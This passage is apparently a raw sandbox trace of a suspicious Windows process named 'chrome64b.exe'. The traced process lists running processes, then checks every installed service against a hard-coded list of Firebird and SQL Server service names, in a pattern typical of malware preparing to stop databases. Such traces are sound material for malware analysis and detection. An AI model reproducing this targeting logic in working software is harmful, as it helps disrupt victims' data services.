th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.295] lstrlenW (lpString="sihost.exe") returned 10 [0264.295] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0264.296] lstrlenW (lpString="MDMAgent.exe") returned 12 [0264.296] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.297] lstrlenW (lpString="taskhostw.exe") returned 13 [0264.297] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0264.297] lstrlenW (lpString="msoia.exe") returned 9 [0264.297] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.298] lstrlenW (lpString="explorer.exe") returned 12 [0264.298] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.299] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0264.299] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.336] lstrlenW (lpString="SearchUI.exe") returned 12 [0264.336] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.337] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0264.337] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.338] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0264.338] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0264.338] lstrlenW (lpString="chrome64b.exe") returned 13 [0264.338] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0264.339] lstrlenW (lpString="cmd.exe") returned 7 [0264.339] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0264.340] lstrlenW (lpString="conhost.exe") returned 11 [0264.340] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.341] lstrlenW (lpString="svchost.exe") returned 11 [0264.341] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0264.341] lstrlenW (lpString="mode.com") returned 8 [0264.341] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0264.342] CloseHandle (hObject=0x4b0) returned 1 [0264.342] Sleep (dwMilliseconds=0x1f4) [0264.849] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a1f8 [0264.849] EnumServicesStatusExW (in: hSCManager=0x69a1f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0264.850] GetLastError () returned 0xea [0264.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x45b9448 [0264.850] EnumServicesStatusExW (in: hSCManager=0x69a1f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45b9448, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45b9448, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0264.851] CloseServiceHandle (hSCObject=0x69a1f8) returned 1 [0264.851] lstrlenW (lpString="Appinfo") returned 7 [0264.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0264.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0264.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0264.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0264.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0264.851] lstrlenW (lpString="AppXSvc") returned 7 [0264.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0264.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0264.851] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0264.852] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0264.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0264.852] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0264.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.852] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0264.852] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0264.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0264.852] lstrlenW (lpString="Audiosrv") returned 8 [0264.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0264.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0264.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0264.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0264.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0264.852] lstrlenW (lpString="BFE") returned 3 [0264.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0264.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0264.852] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0264.852] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0264.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0264.852] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0264.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0264.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0264.852] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0264.852] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0264.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0264.852] lstrlenW (lpString="CDPSvc") returned 6 [0264.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0264.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0264.852] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0264.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0264.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0264.853] lstrlenW (lpString="ClickToRunSvc") returned 13 [0264.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0264.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0264.853] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0264.853] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0264.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0264.853] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0264.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0264.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0264.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0264.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0264.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0264.853] lstrlenW (lpString="CryptSvc") returned 8 [0264.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0264.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0264.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0264.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0264.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0264.853] lstrlenW (lpString="DcomLaunch") returned 10 [0264.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.853] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0264.853] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0264.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0264.853] lstrlenW (lpString="DeviceAssociationService") returned 24 [0264.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0264.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0264.853] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0264.853] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0264.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0264.853] lstrlenW (lpString="Dhcp") returned 4 [0264.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0264.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0264.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0264.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0264.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0264.854] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0264.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0264.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0264.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0264.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0264.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0264.854] lstrlenW (lpString="Dnscache") returned 8 [0264.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0264.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0264.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0264.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0264.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0264.854] lstrlenW (lpString="DPS") returned 3 [0264.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0264.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0264.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0264.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0264.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0264.854] lstrlenW (lpString="DusmSvc") returned 7 [0264.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0264.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0264.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0264.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0264.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0264.854] lstrlenW (lpString="EventLog") returned 8 [0264.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0264.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0264.854] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0264.854] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0264.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0264.855] lstrlenW (lpString="EventSystem") returned 11 [0264.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0264.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0264.855] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0264.855] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0264.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0264.855] lstrlenW (lpString="FontCache") returned 9 [0264.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0264.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0264.855] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0264.855] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0264.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0264.855] lstrlenW (lpString="gpsvc") returned 5 [0264.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0264.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0264.855] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0264.855] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0264.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0264.855] lstrlenW (lpString="iphlpsvc") returned 8 [0264.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.855] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0264.855] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0264.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0264.855] lstrlenW (lpString="KeyIso") returned 6 [0264.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0264.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0264.855] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0264.855] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0264.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0264.855] lstrlenW (lpString="LanmanServer") returned 12 [0264.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0264.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0264.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0264.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0264.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0264.856] lstrlenW (lpString="LanmanWorkstation") returned 17 [0264.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.856] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0264.856] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0264.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0264.856] lstrlenW (lpString="lfsvc") returned 5 [0264.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0264.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0264.856] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0264.856] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0264.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0264.856] lstrlenW (lpString="lmhosts") returned 7 [0264.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.856] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.856] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.856] lstrlenW (lpString="LSM") returned 3 [0264.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0264.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0264.856] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0264.856] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0264.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0264.856] lstrlenW (lpString="MpsSvc") returned 6 [0264.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0264.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0264.856] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0264.856] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0264.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0264.857] lstrlenW (lpString="NcbService") returned 10 [0264.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0264.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0264.857] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0264.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0264.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0264.857] lstrlenW (lpString="netprofm") returned 8 [0264.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0264.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0264.857] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0264.857] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0264.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0264.857] lstrlenW (lpString="NgcSvc") returned 6 [0264.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0264.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0264.857] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0264.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0264.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0264.857] lstrlenW (lpString="NlaSvc") returned 6 [0264.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0264.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0264.857] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0264.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0264.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0264.857] lstrlenW (lpString="nsi") returned 3 [0264.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.857] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.857] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.858] lstrlenW (lpString="PcaSvc") returned 6 [0264.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0264.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0264.858] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0264.858] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0264.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0264.858] lstrlenW (lpString="PlugPlay") returned 8 [0264.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.858] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.858] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.858] lstrlenW (lpString="Power") returned 5 [0264.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.858] lstrlenW (lpString="ProfSvc") returned 7 [0264.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.858] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.858] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.858] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.858] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.858] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.858] lstrlenW (lpString="RpcSs") returned 5 [0264.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.859] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.859] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.859] lstrlenW (lpString="SamSs") returned 5 [0264.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.859] lstrlenW (lpString="Schedule") returned 8 [0264.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.859] lstrcmpiW (lpString1="sqlserveradhelper", 